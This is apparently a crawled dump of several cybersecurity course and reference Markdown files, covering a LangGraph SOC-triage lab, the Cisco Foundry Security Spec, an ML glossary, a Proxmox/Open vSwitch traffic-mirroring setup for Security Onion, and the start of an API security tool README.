evidence.\n\nLangGraph supports all of these natively.\n\n## 4.10 Hands-on Lab 04 — A LangGraph SOC triage graph\n\n[`labs/lab04-langgraph-soc/`](../labs/lab04-langgraph-soc/) builds:\n\n1. The `TriageState` shown above.\n2. Four nodes: `supervisor`, `enricher` (calls a mock SIEM tool), `classifier` (LLM), `responder` (calls a mock ticket API).\n3. `interrupt_before=[\"responder\"]` so the human approves any ticket creation.\n4. A SQLite checkpointer.\n5. An adversarial-alert test case (Lab 03 ASI01 indirect injection) to verify the typed routing holds.\n\nBonus: visualize the graph with `app.get_graph().draw_mermaid()`.\n\n## 4.11 LangGraph in production — costs and gotchas\n\nAcross the 2026 LangGraph-in-production reports the recurring lessons are:\n\n- **Cost** is dominated by supervisor turns. Cap them.\n- **Latency** is dominated by sequential nodes. Parallelize where state types allow.\n- **State bloat** is a real failure mode. Trim or summarize between turns.\n- **Token leakage** through traces is a real privacy failure. Configure your tracer (LangSmith or otherwise) with redaction.\n\n## 4.12 Exercises\n\n1. Add a `Reflexion` critic node to the SOC triage graph that re-asks the classifier when confidence is low. Where does the critic sit?\n2. Convert the supervisor's routing function to use Pydantic for structured output. What attacks does this prevent?\n3. Add a `max_supervisor_turns` counter to the state. What value would you pick for an alert-triage workflow, and why?\n4. Design a Scatter-Gather subgraph for analyzing a suspicious binary with three parallel analyzers (static, dynamic, threat-intel).\n\n## 4.13 Further reading\n\n- LangChain, [LangGraph docs](https://langchain-ai.github.io/langgraph/) — *Multi-Agent Architectures*.\n- *LangGraph Multi-Agent Orchestration — Official Guide 2026*.\n- *LangGraph Agents in Production: Architecture, Costs & Real-World Outcomes* (2026).\n\n---\n\nPrevious: [Module 3](03-threat-modeling-agents.md) · Next: [Module 5 — Claude Agent SDK and MCP](05-claude-agent-sdk-mcp.md).\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"9C1A:09ED:DF36E:3DBC84:6AB9203D"},"text_sha256":"092cffa84964eab3c51d4a0e71a5214849b6fe600ad79a3f064d325065fd73d4"},{"path":"ai/course-materials/Creating Agents for Cybersecurity/modules/08-foundry-security-spec.md","size":14591,"blob_sha":"30254b6a72cdb949bb5e4c70bc4131238b186fdb","priority":1,"status":200,"text":"# Module 8 — Inside the Cisco Foundry Security Spec: 8 Roles, 11 Principles, ~130 FRs\n\n> \"Foundry Security Spec is the scaffolding that turns a frontier LLM from 'an interesting demo against your codebase' into a security evaluation system that produces a bounded, prioritized, verifiable set of findings.\"\n> — Omar Santos, *Announcing Foundry Security Spec*\n\nThis is the centerpiece module of the course. Everything before it has been preparation; everything after it applies the pattern.\n\n## 8.1 Learning objectives\n\n- Explain the **problem Foundry solves** and why a spec (not a tool) is the right form factor.\n- Describe the **eight core agent roles**, what each guarantees, and how they hand off.\n- Recite the **eleven inviolable principles** from the constitution and the failure mode each prevents.\n- Walk the **finding lifecycle** end-to-end.\n- Understand the **detection-to-prevention flywheel** Foundry creates with CodeGuard.\n- Use **GitHub spec-kit** to clarify and instantiate the seed for your environment.\n\n## 8.2 The problem\n\nEvery security team with access to a frontier LLM has done the same thing at least once: thrown a repo at the model and asked it to \"find the bugs.\" The result is a wall of unbounded, unverifiable output that mixes sharp insights with hallucinated findings. There is no way to know what was missed or when you are actually done.\n\nThe Foundry Security Spec is the antidote: an organization-neutral specification for an **agentic security evaluation system**. It produces:\n\n- A **bounded, prioritized, verifiable** set of findings.\n- A **clear \"done\" signal** — the conjunction of an operator-defined coverage floor and an economic yield threshold.\n- An **auditable provenance chain** from detection through triage, validation, and publication.\n- **Safety guardrails** at the substrate, not the prompt.\n\nYou bring a frontier LLM and a target. Foundry gives you the architecture, the invariants, and the guardrails. You build your own implementation, on your own stack, using the specification as the blueprint.\n\n## 8.3 Why a spec, not source code\n\nCisco's internal implementation is tightly bound to Cisco infrastructure: their LLM gateway, issue tracker, private cloud, severity taxonomy. Open-sourcing that code would give defenders something that runs in exactly one environment.\n\nWhat transfers is the **design**: which roles you need and why, what each must guarantee, how findings flow from detection to publication, what \"done\" means, where the quality gates go, and which shortcuts will hurt you six months in. That design is model-agnostic and infrastructure-neutral.\n\nThis is also why Foundry is meant to be consumed with [GitHub spec-kit](https://github.com/github/spec-kit) — you run the spec through a clarification step that resolves the open questions against your environment, and out the other side comes *your* spec, for *your* implementation.\n\n## 8.4 The architecture at a glance\n\n```\n OPERATOR\n │\n ┌──────────────▼──────────────┐\n │ ORCHESTRATOR │\n │ lifecycle + conversational │\n └──────────────┬──────────────┘\n │\n ════════ SUBSTRATE ════════\n work queue · finding store\n sandbox · budget · dashboard\n ════════════╤═══════════════\n │\n knowledge layer │ finding pipeline oversight\n┌───────┐┌─────────┐ │ ┌────────┐┌────────┐┌─────────┐┌────────┐┌─────────┐\n│INDEXER││ CARTO- │───────────────┘ │DETECTOR││TRIAGER ││VALIDATOR││REPORTER││COVERAGE │\n│ ││ GRAPHER │ │ ││ ││ ││ ││ GUIDE │\n└───────┘└─────────┘ └────────┘└────────┘└─────────┘└────────┘└─────────┘\n\n extension roles (build after core works):\n DEEP-TESTER · VARIANT-HUNTER · ATTACK-MAPPER · REMEDIATOR · SELF-IMPROVER\n```\n\nEight core roles, each catching the previous role's failure mode. A substrate beneath them where the invariants live.\n\n## 8.5 The eight core roles\n\nEach role has a defined purpose, defined inputs and outputs, and a list of functional requirements with rationale. You can implement them as subprocess loops, as graph-based pipelines, as serverless functions, or as a bespoke harness. The shape is what transfers; the implementation is yours.\n\n### 1. Orchestrator (§5.1)\n\nLifecycle and conversational interface. Receives the operator's goal, dispatches work, surfaces status, halts on budget/coverage signals. The only role that talks to the human directly.\n\n### 2. Indexer (§5.2)\n\nTurns a target (a codebase, a binary, an API spec) into a navigable corpus the other roles can query. Builds search indices, symbol tables, dependency graphs. Without a competent Indexer, every downstream role wastes tokens re-reading the same content.\n\n### 3. Cartographer (§5.3)\n\nProduces the maps the rest of the system reasons against: architecture, attack-surface, trust-boundary, data-flow, and threat-model documents. Cartographer's outputs are the \"ground truth\" the Detector and Triager consult.\n\n### 4. Detector (§5.4)\n\nSweeps the target against a corpus of LLM-evaluated detection rules. This is where **CodeGuard** plugs in. Detection is systematic and repeatable; it finds what you already knew to look for. (The exploratory hunting is a job for extension roles like Variant-Hunter.)\n\n### 5. Triager (§5.5)\n\nReceives raw detections and decides which are worth investigating. Applies the organization's severity rubric and weakness taxonomy. The Triager's verdict can be: discard, investigate, escalate.\n\n### 6. Validator (§5.6)\n\nThe evidence gate. A claimed finding without evidence does not exist. The Validator's job is to confirm or refute a triaged finding through reproduction, proof construction, or counter-example. This role is the single biggest reason Foundry findings are trustable.\n\n### 7. Coverage-Guide (§5.7)\n\nKnows what has been examined and what has not. Produces the coverage signal that lets the Orchestrator decide when to stop or where to push the Detector next. \"Done\" without a coverage answer is just \"stopped.\"\n\n### 8. Reporter (§5.8)\n\nProduces the human-readable writeup: title, severity, evidence, reproduction, remediation, references. Reporter consumes only validated findings.\n\n## 8.6 The five extension roles\n\nBuild these only after the eight core roles produce trustworthy findings.\n\n- **Deep-Tester** — runs targeted exploit attempts within scope.\n- **Variant-Hunter** — generalizes a confirmed finding into a class search.\n- **Attack-Mapper** — places findings on an attack graph; computes by-design vs. emergent paths.\n- **Remediator** — proposes (and optionally drafts) patches.\n- **Self-Improver** — closes the rule-gap loop: turns confirmed-but-rule-missed findings into new detection rules.\n\nThe official guidance — \"Recommended: no to all five for your first build\" — is sound. Walk before you run.\n\n## 8.7 The eleven inviolable principles (the constitution, paraphrased)\n\nEach constitutional principle encodes a real production failure Cisco shipped, diagnosed, and fixed. Reading the original [constitution.md](https://github.com/CiscoDevNet/foundry-security-spec/blob/main/constitution.md) is mandatory; the paraphrases below are *summaries* meant to anchor discussion.\n\n1. **Findings without evidence do not exist.** Every claim must be backed by reproducible evidence. The Validator is the gate.\n2. **The substrate, not the prompt, enforces invariants.** Atomic claim, heartbeat liveness, fingerprinting, budget — these live in code, not prose.\n3. **Authority flows down; trust does not flow up.** The Orchestrator decides; worker outputs are data, not commands.\n4. **A human is the final arbiter for irreversible actions.** The system can propose; the human disposes.\n5. **Bounded autonomy is the only safe autonomy.** Every loop has a budget and a yield gate.\n6. **Fingerprint everything that can be deduplicated.** Same finding reported twice is a tax on reviewers.\n7. **Provenance is part of the finding.** Where did the claim come from, which model, which rule, which trace?\n8. **The corpus compounds; the harness stays stable.** Rules and templates are *your* IP; the architecture is the spec's.\n9. **Operate inside a sandbox the agent cannot define.** Sandbox boundaries are not requested by the agent — they are imposed on it.\n10. **A \"done\" signal must be defended.** No \"done\" without a coverage answer and a yield answer.\n11. **The system must be auditable end-to-end.** If a CISO asks \"how did you produce this finding,\" every step has an answer.\n\nThese are inviolable not because we say so, but because in production every one of them has cost someone something. When tempted to weaken one for convenience, re-read the \"why this is inviolable\" paragraph in the constitution before making the change.\n\n## 8.8 The finding lifecycle\n\n```\ndetected → triaged → investigated → evidence-built → validated → reported → published\n │\n ├── deduped against existing findings (fingerprint)\n ├── coverage map updated\n └── rule-gap recorded if exploration found something the rules missed\n```\n\nA finding only exists once it has been validated. Anything earlier in the chain is an \"investigation in progress.\" This is a *cultural* shift from typical \"report everything the model said\" patterns and it is why Foundry findings can be defended in front of auditors.\n\n## 8.9 The detection-to-prevention flywheel\n\nThe reason Foundry pairs with CodeGuard:\n\n1. **CodeGuard rules sweep** every function in the target. Systematic, repeatable, catches the known.\n2. **Foundry exploratory agents hunt** alongside. Creative, target-specific, catches the unknown.\n3. When exploration confirms something the rules missed, Foundry **records a rule gap**.\n4. The gap is generalized into a new (or revised) CodeGuard rule, and lands in the corpus.\n5. The next sweep — on this target *and every future target* — catches that whole class on the first pass.\n6. Because CodeGuard rules are portable, the same corpus loads into an LLM coding assistant as secure-coding guardrails: the bug class your last evaluation taught the corpus to *detect* is now *prevented* at the keystroke, in every developer's editor, before the next evaluation runs.\n\n> \"Every turn of the loop improves detection here and prevention everywhere.\"\n\n## 8.10 Using the spec with GitHub spec-kit\n\nThe Foundry spec is written to be consumed by [GitHub spec-kit](https://github.com/github/spec-kit). The intended workflow:\n\n1. **Read `constitution.md` end-to-end.** Short. Every principle has a \"why this is inviolable\" paragraph.\n2. **Install spec-kit** in your project (`/.specify/` directory, `/speckit.*` commands).\n3. **Install the constitution.** Copy `constitution.md` to `.specify/memory/`. Run `/speckit.constitution` and adopt it.\n4. **Seed the spec.** Copy `spec.md` to `specs/001-foundry/`.\n5. **Clarify.** Run `/speckit.clarify`. The agent walks ~36 `[NEEDS CLARIFICATION: ...]` markers grouped into Identity & Scope, Integration Choices, Policy Choices, and Extension Scope. Recommended: say *no* to all five extension roles for the first build.\n6. **Specify.** `/speckit.specify` hardens the seed into a complete spec for your environment.\n7. **Iterate clarify + specify** until they converge.\n8. **Plan, task, implement.** `/speckit.plan`, `/speckit.tasks`, `/speckit.implement`.\n\nThe point of this workflow is that **a `[NEEDS CLARIFICATION]` that survives into the plan becomes a guess baked into your design**.\n\n## 8.11 Hands-on Lab 08 — Map Foundry's 8 roles to a runnable scaffold\n\n[`labs/lab08-foundry-scaffold/`](../labs/lab08-foundry-scaffold/):\n\n1. Clone `https://github.com/CiscoDevNet/foundry-security-spec`.\n2. Read `constitution.md` and write a one-paragraph summary of each principle in your own words.\n3. Build a minimal Python scaffold with eight stub roles: each is a class with a `purpose` docstring, an `inputs` schema, an `outputs` schema, and a `run()` stub.\n4. Use the LangGraph supervisor pattern from Lab 04 as the Orchestrator.\n5. Implement just enough of Indexer + Detector + Validator + Reporter to process a single canned finding end-to-end.\n6. Verify against the constitution: write a short checklist confirming each principle the scaffold honors and each it does not yet.\n\nThis is not a production harness. It is a thinking tool that makes the spec concrete in code.\n\n## 8.12 Exercises\n\n1. Re-read the constitution and pick one principle you find most counter-intuitive. Defend or critique it with a real or hypothetical scenario.\n2. For your environment, draft the four open-question groups (Identity & Scope, Integration Choices, Policy Choices, Extension Scope) with at least one concrete answer each.\n3. Sketch how a Foundry-style coverage gate would change \"definition of done\" for your most recent pentest.\n4. Where in your current security workflow would a *Validator* role have caught a false positive?\n\n## 8.13 Further reading (mandatory)\n\n- Omar Santos, [*Announcing Foundry Security Spec*](https://blogs.cisco.com/ai/announcing-foundry-security-spec) — the announcement and the philosophy.\n- [`CiscoDevNet/foundry-security-spec`](https://github.com/CiscoDevNet/foundry-security-spec) — the spec, constitution, and glossary.\n- [Project CodeGuard](https://project-codeguard.org/) and its donation to CoSAI.\n- [GitHub spec-kit](https://github.com/github/spec-kit).\n\n---\n\nPrevious: [Module 7](07-crewai-autogen.md) · Next: [Module 9 — Identity, Trust, and Governance](09-identity-trust-governance.md).\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"AD80:3EACB:172FB4:5C3F2E:6AB9203D"},"text_sha256":"80306b4c0a1aa7f6ba09e793395d898b6c77c60414671d3949258ce8739930d5"},{"path":"ai/llm-engineering/ai_agentic_tools_for_cybersecurity.md","size":1481,"blob_sha":"cbbefbe661e81e741abd41ea3114e14ca9656d8d","priority":1,"status":200,"text":"# AI Agentic Tools for Cybersecurity\n\nSee my blog post [AI Agentic Cybersecurity Tools: Reaper, TARS, Fabric Agent Action, and Floki](https://becomingahacker.org/agentic-cybersecurity-tools-122374ce942b) for more details.\n\n## Tools\n\n\n| **Tool** | **Short Description** |\n|-----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| [**Reaper**](https://github.com/ghostsecurity/reaper) | An AI-augmented web application security testing tool that combines recon, fuzzing, and vulnerability validation in a unified testing framework. |\n| [**TARS**](https://github.com/osgil-defense/TARS) | An AI-powered penetration testing automation platform that orchestrates multiple pentest tools through an LLM-based decision-making agent. |\n| [**Fabric Agent Action**](https://github.com/xvnpw/fabric-agent-action) | A GitHub Action that integrates the Fabric framework to automate CI/CD workflows using AI-driven patterns for tasks like issue summarization and PR reviews. |\n| [**Floki**](https://github.com/Cyb3rWard0g/floki) | A framework for building and orchestrating LLM-powered autonomous agents, leveraging Dapr to enable robust multi-agent collaboration for cybersecurity tasks. |\n\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"651A:B08CF:16DEF0:5BEF16:6AB9203E"},"text_sha256":"3c3fa50f131ea276c49c52d14f57af36c238404dbf57af281c445bf78eea3431"},{"path":"ai/llm-engineering/ML-Fundamentals/glossary_of_terms.md","size":11867,"blob_sha":"1ded11e4ed3c81ed498738c4cdb297843e57d807","priority":1,"status":200,"text":"# A glossary for AI-related terms:\n\n- **Activation Function:** A function in a neural network that introduces non-linear properties to the network, enabling it to learn more complex functions.\n- **Adversarial Machine Learning:** A technique in machine learning where a model is trained to identify and counteract attempts to deceive it.\n- **Agent:** In AI, an entity that perceives its environment and takes actions to maximize its chance of achieving a goal.\n- **Algorithm:** A set of rules to be followed in calculations or other problem-solving operations, especially by a computer.\n- **Anomaly Detection:** The identification of rare items, events, or observations which raise suspicions by differing significantly from the majority of the data.\n- **Autoencoder:** A type of neural network used to learn efficient codings of unlabeled data, typically for the purposes of dimensionality reduction.\n- **Backpropagation:** An algorithm for iteratively adjusting the weights used in a neural network system to minimize the difference between actual and predicted outputs.\n- **Bagging (Bootstrap Aggregating):** An ensemble learning technique used to improve the stability and accuracy of machine learning algorithms.\n- **Bayesian Network:** A probabilistic graphical model that represents a set of variables and their conditional dependencies via a directed acyclic graph.\n- **Bias (in AI):** A systematic error in the data or the model that can lead to unfair or prejudiced outcomes.\n- **Big Data:** Extremely large data sets that may be analyzed computationally to reveal patterns, trends, and associations, especially relating to human behavior and interactions.\n- **Boosting:** A machine learning ensemble meta-algorithm for primarily reducing bias, and also variance in supervised learning.\n- **Capsule Network:** A type of neural network that uses capsules to enhance the ability of the network to understand spatial relationships and hierarchies in data.\n- **Chatbot:** A software application used to conduct an online chat conversation via text or text-to-speech, instead of providing direct contact with a live human agent.\n- **Clustering:** The task of dividing the dataset into groups, where members of the same group are more similar to each other than to those in other groups.\n- **Collaborative Filtering:** A method of making automatic predictions about the interests of a user by collecting preferences from many users.\n- **Computer Vision:** An AI field that trains computers to interpret and understand the visual world, using digital images from cameras and videos and deep learning models.\n- **Confusion Matrix:** A table that is often used to describe the performance of a classification model on a set of test data for which the true values are known.\n- **Convolutional Neural Network (CNN):** A deep learning algorithm which can take in an input image, assign importance to various aspects/objects in the image, and be able to differentiate one from the other.\n- **Cross-validation:** A technique for evaluating ML models by training several ML models on subsets of the available input data and evaluating them on the complementary subset of the data.\n- **Data Augmentation:** Techniques used to increase the amount of data by adding slightly modified copies of already existing data or newly created synthetic data.\n- **Data Mining:** The process of discovering patterns in large data sets involving methods at the intersection of machine learning, statistics, and database systems.\n- **Data Wrangling:** The process of cleaning, structuring and enriching raw data into a desired format for better decision making in less time.\n- **Dataset:** A collection of related sets of information composed of separate elements but can be manipulated as a unit by a computer.\n- **Decision Tree:** A decision support tool that uses a tree-like model of decisions and their possible consequences, including chance event outcomes, resource costs, and utility.\n- **Deep Learning:** A subset of ML that uses neural networks with many layers (deep networks) to analyze various factors in large volumes of data.\n- **Dense Layer:** A fully connected neural network layer where each input node is connected to each output node.\n- **Dimensionality Reduction:** The process of reducing the number of random variables under consideration, via obtaining a set of principal variables.\n- **Dropout:** A regularization technique for reducing overfitting in neural networks by preventing complex co-adaptations on training data.\n- **Eigenvalue, Eigenvector:** In linear algebra, an eigenvalue and its corresponding eigenvector are a pair that together provide a simple scaling factor and directionality for linear transformations.\n- **Embedding Layer:** Used in neural networks to reduce the dimensionality of input data to improve the efficiency of the model.\n- **Ensemble Learning:** A technique that creates multiple models and then combines them to produce improved results.\n- **Evolutionary Algorithm:** A subset of evolutionary computation in artificial intelligence that uses mechanisms inspired by biological evolution, such as reproduction, mutation, recombination, and selection.\n- **Expert System:** A computer system that emulates the decision-making ability of a human expert.\n- **Feature Engineering:** The process of using domain knowledge to extract features from raw data via data mining techniques.\n- **Feature Extraction:** The process of defining a set of features, or aspects, of the data that are relevant to the problem being solved.\n- **Fuzzy Logic:** A form of many-valued logic which deals with reasoning that is approximate rather than fixed and exact.\n- **GAN (Generative Adversarial Network):** A class of ML systems where two neural networks contest with each other in a game.\n- **GPT (Generative Pretrained Transformer):** An advanced type of neural network architecture used for NLP tasks. It's trained to predict the next word in a sentence and can generate coherent and contextually relevant text based on a given prompt.\n- **Gradient Descent:** An optimization algorithm for finding the minimum of a function; in machine learning, it's used to update the parameters of a model.\n- **Grid Search:** A method to perform hyperparameter optimization to find the optimal values for a given model.\n- **Hadoop:** A framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.\n- **Hashing:** The transformation of a string of characters into a usually shorter fixed-length value or key that represents the original string.\n- **Heuristic:** A technique designed for solving a problem more quickly when classic methods are too slow, or for finding an approximate solution when classic methods fail to find any exact solution.\n- **Hyperparameter:** In ML, a parameter whose value is set before the learning process begins.\n- **Instance-based Learning:** A family of learning algorithms that, instead of performing explicit generalization, compares new problem instances with instances seen in training.\n- **Jupyter Notebook:** An open-source web application that allows you to create and share documents that contain live code, equations, visualizations, and narrative text.\n- **K-means Clustering:** A method of vector quantization, originally from signal processing, that aims to partition n observations into k clusters.\n- **Kernel:** In machine learning, a function used in support vector machines to enable them in processing linearly inseparable data.\n- **Knowledge Base:** A technology used to store complex structured and unstructured information used by a computer system.\n- **Latent Variable:** In statistics, a variable that is not directly observed but is inferred from other variables that are observed.\n- **Linear Regression:** A linear approach to modelling the relationship between a scalar response and one or more explanatory variables.\n- **Logistic Regression:** A statistical model that in its basic form uses a logistic function to model a binary dependent variable.\n- **Long Short-Term Memory (LSTM):** A type of RNN architecture used in deep learning because standard RNNs have difficulty remembering information for long periods.\n- **Markov Decision Process:** A mathematical process to model decision making in situations where outcomes are partly random and partly under the control of a decision maker.\n- **Monte Carlo Methods:** A broad class of computational algorithms that rely on repeated random sampling to obtain numerical results.\n- **Multi-Layer Perceptron (MLP):** A class of feedforward artificial neural network (ANN) which consists of at least three layers of nodes.\n- **Naive Bayes Classifier:** A family of simple probabilistic classifiers based on applying Bayes' theorem with strong (naive) independence assumptions between the features.\n- **Natural Language Generation (NLG):** The use of AI to generate natural language from a machine representation system such as a knowledge base or a logical form.\n- **Natural Language Processing (NLP):** A branch of AI that helps computers understand, interpret, and respond to human language in a valuable way.\n- **Neural Network:** A series of algorithms that attempt to recognize underlying relationships in a set of data through a process that mimics the way the human brain operates.\n- **Outlier:** An observation point that is distant from other observations, potentially indicative of a measurement or input error, or a novel data point.\n- **Parameter Tuning:** The process of selecting the values for a model’s parameters that maximize the accuracy of the model.\n- **Perceptron:** A type of artificial neuron used in supervised learning to classify binary data.\n- **Precision and Recall:** In pattern recognition, information retrieval and classification, precision is the fraction of relevant instances among the retrieved instances, while recall is the fraction of relevant instances that were retrieved.\n- **Quantile:** A quantile is a fraction where certain values fall below that quantile.\n- **Random Forest:** An ensemble learning method for classification, regression and other tasks that operates by constructing a multitude of decision trees.\n- **Random Variable:** A variable whose possible values are numerical outcomes of a random phenomenon.\n- **Recurrent Neural Network (RNN):** A class of artificial neural networks where connections between nodes form a directed graph along a temporal sequence.\n- **Regularization:** Techniques used to reduce the error by fitting a function appropriately\n- **Reinforcement Learning:** An area of ML concerned with how software agents ought to take actions in an environment to maximize some notion of cumulative reward.\n- **Semantic Analysis:** The process of understanding the meaning and interpretation of words, sentences, and character of the texts.\n- **Supervised Learning:** A type of ML where the model is trained on labeled data, i.e., data paired with the correct answer.\n- **Support Vector Machine (SVM):** A supervised learning model with associated learning algorithms that analyze data used for classification and regression analysis.\n- **TensorFlow:** An open-source software library for high-performance numerical computation, particularly well suited for deep learning and ML applications.\n- **Transfer Learning:** A research problem in machine learning that focuses on storing knowledge gained while solving one problem and applying it to a different but related problem.\n- **Turing Test:** A test of a machine's ability to exhibit intelligent behavior equivalent to, or indistinguishable from, that of a human.\n- **Unstructured Data:** Information that either does not have a pre-defined data model or is\n- **Unsupervised Learning:** A type of ML that uses algorithms to analyze and cluster unlabeled datasets. \n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"13E8:24970A:17DBE5:5CE96C:6AB9203D"},"text_sha256":"1fce588518c88149b84cd9373eb3adcd63e24e9a7a037d8ba4e0b9a75b50453a"},{"path":"build-your-own-lab/security-onion-proxmox.md","size":5816,"blob_sha":"c9045449cac1a1b4ebaa4a1946c26a860dc0f8c6","priority":1,"status":200,"text":"# Security Onion, RedHunt OS, Proxmox, and Open vSwitch\nIf you have attended some of my classes and read some of my books, you know that I really like [Proxmox](https://www.proxmox.com/en/). I have several Proxmox clusters that I use for my training courses and to develop labs to learn new cybersecurity skills (offensive and defensive techniques). \n\nYou can instantiate Linux systems such as [Kali Linux](https://www.kali.org/), [WebSploit](https://websploit.org), [Parrot](https://parrotlinux.org/), [BlackArch](https://blackarch.org/), [Security Onion](https://securityonion.net), [RedHuntOS](https://github.com/redhuntlabs/RedHunt-OS), and others in different VMs to practice and learn new skills in a safe environment. \n\nSystems like [Security Onion](https://securityonion.net) and [RedHuntOS](https://github.com/redhuntlabs/RedHunt-OS) come with with [Snort](https://www.snort.org/), [Suricata](https://suricata-ids.org/), [ELK](https://www.elastic.co/what-is/elk-stack), and many other security tools that allow you to monitor your network.\n\nYou have to setup [port mirroring](https://en.wikipedia.org/wiki/Port_mirroring) for IDS/IPS systems like Snort to be able to monitor traffic. In Proxmox, you can setup [Linux bridges](https://pve.proxmox.com/wiki/Network_Configuration) and [Open vSwitch (OVS) bridges](https://pve.proxmox.com/wiki/Open_vSwitch). \n\n## OVS Setup\nI strongly recommend to use OVS bridges to send traffic to your Security Onion VM (or whatever other VM you would like to capture packets or monitor for IDS/IPS functions. \n\n- **Note:** A bridge is another term for a Switch. It directs traffic to the appropriate interface based on mac address. Open vSwitch bridges should contain raw ethernet devices, along with virtual interfaces such as OVSBonds or OVSIntPorts. These bridges can carry multiple vlans, and be broken out into 'internal ports' to be used as vlan interfaces on the host.\n\n1. First, you need to update the package index and then install the Open vSwitch packages by executing:\n\n```\n apt update\n apt install openvswitch-switch\n```\n\n2. Then you can create an OVS bridge and assign the interfaces of each VM that you want to capture packets to that OVS bridge.\n\n3. You then configure the `tap` interfaces. These are only visible in the system shell (not in the Proxmox GUI) and are added automatically for VMs attached to an OVS-bridge interface. The naming convention of the tap interfaces is based on the ID of the VM they are assigned to, with the name `tap[VM-ID]i[interface#]`.\n\nFor example, these are some of the interfaces in one of the Proxmox nodes/servers in one of my clusters:\n\n```\n┌─[root@hermes]─[~]\n└──╼ #ip -brie a\nlo UNKNOWN 127.0.0.1/8 ::1/128 \nenp0s31f6 DOWN \nenp1s0f0 UP \nenp1s0f1 DOWN \nenp3s0f0 UP \nenp3s0f1 DOWN \nvmbr0 UP 192.168.78.10/24 fe80::92e2:baff:fe84:dbd0/64 \nvmbr1 UP 10.1.1.10/24 fe80::a236:9fff:fe1c:2430/64 \nvmbr2 UNKNOWN fe80::f84b:12ff:fe3c:6e61/64 \novs-system DOWN \nvmbr3 UNKNOWN fe80::208a:52ff:fe6d:504f/64 \ntap109i0 UNKNOWN \nfwbr109i0 UP \nfwpr109p0@fwln109i0 UP \nfwln109i0@fwpr109p0 UP \ntap109i1 UNKNOWN \ntap109i2 UNKNOWN \nfwbr109i2 UP \nfwpr109p2@fwln109i2 UP \nfwln109i2@fwpr109p2 UP \ntap112i0 UNKNOWN \nfwbr112i0 UP \nfwpr112p0@fwln112i0 UP \nfwln112i0@fwpr112p0 UP \ntap112i1 UNKNOWN \nfwbr112i1 UP \nfwpr112p1@fwln112i1 UP \nfwln112i1@fwpr112p1 UP \ntap114i0 UNKNOWN \ntap119i0 UNKNOWN \nfwbr119i0 UP \nfwpr119p0@fwln119i0 UP \nfwln119i0@fwpr119p0 UP \ntap119i1 UNKNOWN \nfwbr119i1 UP \nfwpr119p1@fwln119i1 UP \nfwln119i1@fwpr119p1 UP \ntap121i0 UNKNOWN \nveth122i0@if59 UP \nfwbr122i0 UP \nfwpr122p0@fwln122i0 UP \nfwln122i0@fwpr122p0 UP \nveth122i1@if64 UP \nfwbr122i1 UP \nfwpr122p1@fwln122i1 UP \nfwln122i1@fwpr122p1 UP \ntap126i0 UNKNOWN \nfwbr126i0 UP \nfwpr126p0@fwln126i0 UP \nfwln126i0@fwpr126p0 UP \nveth130i0@if73 UP \nfwbr130i0 UP \nfwpr130p0@fwln130i0 UP \nfwln130i0@fwpr130p0 UP \nveth136i0@if78 UP \nfwbr136i0 UP \nfwpr136p0@fwln136i0 UP \nfwln136i0@fwpr136p0 UP \nfwbr109i1 UP \nfwln109o1 UNKNOWN \nveth115i0@if89 UP \nfwbr115i0 UP \nfwln115o0 UNKNOWN \ntap106i0 UNKNOWN \nfwbr106i0 UP \nfwpr106p0@fwln106i0 UP \nfwln106i0@fwpr106p0 UP \ntap106i1 UNKNOWN \n```\n\n`tap106i0` is the first (0) virtual interface created for VM with ID 106, and `tap106i1` is the second such interface. \n\nIn order to send all traffic on the OVS bridge to the Security Onion VM (VM 106). I use the following command in the Proxmox node:\n\n```\novs-vsctl -- --id=@p get port tap106i1 \\\n -- --id=@m create mirror name=span1 select-all=true output-port=@p \\\n -- set bridge vmbr3 mirrors=@m\n```\n\n`vmbr3` is the OVS bridge for that internal network. This creates a new “mirror” object named “span1”. Span1 will send any IP traffic on the `vmbr3` OVS bridge to the second virtual interface on VM 106 (tap106i1).\n\n\n\n\n\n\n\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"EF48:18233:173338:5C41E8:6AB9203F"},"text_sha256":"5e1568d77f9b0c91dc42db9b3123d4a6c86921838b298a5b1a734c994dd21548"},{"path":"certifications/cisco/scor-350-701/content_security_fundamentals.md","size":1236,"blob_sha":"cf1d7808e5ac60a789d4edbf86ce479d806d770e","priority":1,"status":200,"text":"## Cisco Content Security Fundamentals\n- Email Security\n- Web Security\n\n\n### 1. Email Security\n- **Spam Protection**: Filtering out unwanted and potentially harmful email messages.\n- **Virus and Malware Defense**: Scanning emails for malicious software.\n- **Phishing Protection**: Detecting and blocking attempts to acquire sensitive information through deceptive emails.\n- **Data Loss Prevention (DLP)**: Preventing sensitive information from leaving the organization via email.\n- **Email Encryption**: Ensuring that email content is secure and unreadable during transit.\n- **Advanced Threat Protection**: Identifying and responding to sophisticated cyber threats.\n\n### 2. Web Security\n- **URL Filtering**: Blocking access to harmful or inappropriate websites.\n- **Malware Scanning**: Inspecting web content to identify and block malware.\n- **Application Visibility and Control**: Monitoring and controlling the use of web applications to prevent security breaches.\n- **HTTPS Inspection**: Decrypting and inspecting encrypted web traffic for threats.\n- **Data Security**: Protecting sensitive data accessed or transferred over the web.\n\n## Cisco Security Products\n\nhttps://www.cisco.com/site/us/en/products/security/all-products.html\n\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"CC94:09ED:DF37B:3DBCDB:6AB9203F"},"text_sha256":"7cf9af48f2d4c713c364a16bd6e04dba837c58a1afb67a0079bf49a79fbe7774"},{"path":"cybersecurity-domains/application-security/web-application-testing/api_security_assessment_README.md","size":9966,"blob_sha":"830bdc35974138dbc05e490be163b7bdf50e2f95","priority":1,"status":200,"text":"# API Security Assessment Tool\n\nA comprehensive automated security testing tool for REST APIs, covering 9 critical security domains.\n\n## Features\n\n✅ **Transport & TLS Security** - HTTPS enforcement, certificate validation, HSTS headers \n✅ **Authentication Testing** - JWT validation, token lifetime, algorithm security \n✅ **Authorization Testing** - IDOR prevention, privilege escalation, mass assignment \n✅ **Input Validation** - SQL injection, NoSQL injection, command injection \n✅ **SSRF Protection** - URL validation, private IP blocking, cloud metadata protection \n✅ **Rate Limiting** - DoS protection, 